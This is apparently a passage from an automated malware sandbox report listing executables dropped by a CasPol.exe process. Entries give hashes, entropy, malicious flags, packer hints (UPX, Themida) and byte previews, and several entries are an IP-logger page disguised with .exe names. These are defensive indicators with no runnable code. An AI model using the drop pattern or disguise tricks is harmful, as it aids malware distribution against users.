                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\qazyFwc5egFZzR0N8tqSvKmm.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\qdAZRB67pUDSB4XELDqUzkpA.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\Pictures\qrWI8PCVXnCZK60Db2frGhgL.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\Pictures\qzdHRnL14SmqTwYSc4zayuZy.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767398508369486
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:dGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+N:oJBm3eJcFt4uM6mFBJtLXVU0
                                                                                                        MD5:AC33A958FADA5BCB892E03D1FF810D8A
                                                                                                        SHA1:1C063023DB962E74B9DE24A3500A3D6E706D50C3
                                                                                                        SHA-256:6D96216FD31526B23F380E2C06BD4F5EDCB25E42F937A5F84CC44E6F90F8B4DD
                                                                                                        SHA-512:D5952C76CE7A78C2FE9EA83C47F54B82563043BF9E74D075949C0C2CACB76000862A331DBB009738777B0D484E3123031C81D5B15E6AB3B2257DFE5CC36BD82A
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R.....].-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\Pictures\sgT91h1OakHt6BAnyK2HYdhK.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\t0HvpFnGKfslo4cGMsCK308u.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\Pictures\tqz2Az2q2AYLyjuBK1xHdTga.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\Pictures\tuwxsmmkPgY2E0qU41YG7RXX.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                        Category:dropped
                                                                                                        Size (bytes):2939768
                                                                                                        Entropy (8bit):7.767396554276391
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:49152:LGFBJ146mJFoZYuozeJdMjCgg8V9SI657uMCfmOPABjtz/pLXPtU+e:yJBm3eJcFt4uM6mFBJtLXVU3
                                                                                                        MD5:7B410283C59B639440C193854A32BEBD
                                                                                                        SHA1:CB3A15025D15101A5615118E57C7512730C5CF21
                                                                                                        SHA-256:DF19B3D5D7DE1F0CD811A9C9C79EDC6E34BA8AC75904D5C71974CC07A969D2AD
                                                                                                        SHA-512:79F5E68491E9B98E40FE37DA069E5797C3027646A71BE9EFB5E2677DA7323096B74013F85F6539B052B29A673F7AF97F293905517CD762E16FF8B19040DF0D16
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...;qVe.........."......0,.......%...Q...%...R...@...........................R......D-...@..................................R.......R..............,.x+...R...............................Q.......Q.............................................UPX0......%.............................UPX1.....0,...%..,,.................@....rsrc.........R.......,.............@...4.02.UPX!........`]f~.Q..(,..TQ.&...a.!.U..]....U..1.]........SWV.....E.`..@....@.......pd.....d....}...........M.1..U..A.M.).).9..L.M.4.....9.r.9.wx.u..t.SPQ......U.....B.......B..M...;}.}<.M...Z.9.r........X$.E..........p.......t.....`..A1.CL.1..EZ.F...........^_[]...>..h........}..h...A......<,.....f7.v..U......E.K..WV...d....x ..}.u.1.H^_].....F..H..N......5.?. ..OM.P...7...P..}..O.#?..<..W.)..9.r.....o8.9......Y.SQR............\}..W.......;E.}....H.._.9.r..E.....E...X0%.=.d.....u.g..

                                                                                                        C:\Users\user\Pictures\umhbJjT22X2dBDA8G8Ex8Mum.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\uu6QpglSdgLwfavYe0Q48iRO.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\vTVX1iVz5ykXIf2WVHggfoE1.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\Pictures\vgRJuNFVl7G0nCRX5ErRiSV0.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\xaRtMl281tBvEQLxjcEm29sg.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\Pictures\yiUYZEb7lMWdy4BiiNcsQQJX.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):5494552
                                                                                                        Entropy (8bit):7.709997935733505
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:jkIr0MF/LGIgU95JrA8MjLiwlqVwDfb1BrOuQ4:jkIr0MF/FV95BA8hwgCpO2
                                                                                                        MD5:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        SHA1:102562C75D3DBB2C9B2922674F83C5F0F36E3D0C
                                                                                                        SHA-256:A5C68511132B9590F0D60BC6FA5F43999C25D636D0B29AAE1FF3787688907FE7
                                                                                                        SHA-512:2054607E09F31D65060A8B8205755F785B5EA0BE9B248977B00FA95ED2938313309876D91B7FEF5D33866024CF52CF0DD7A73336E703E035770E24B506DB19C8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(......S.. .............@.............................0T.......S...`... ...............................................S. .....T.......S.X.....S..)... T.x.............................S.(.....................S.h............................text...............................`..`.data...@.R.......R.................@....rdata.. .....S.. ...hS.............@..@.pdata..X.....S.......S.............@..@.xdata..4.....S.......S.............@..@.bss.... .....S..........................idata.. .....S.......S.............@....CRT....`.....S.......S.............@....tls..........T.......S.............@....rsrc.........T.......S.............@....reloc..x.... T.......S.............@..B........................................................................................................................................................................

                                                                                                        C:\Users\user\Pictures\zCvOx6XtSJ07pMQfH8UPv1oL.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
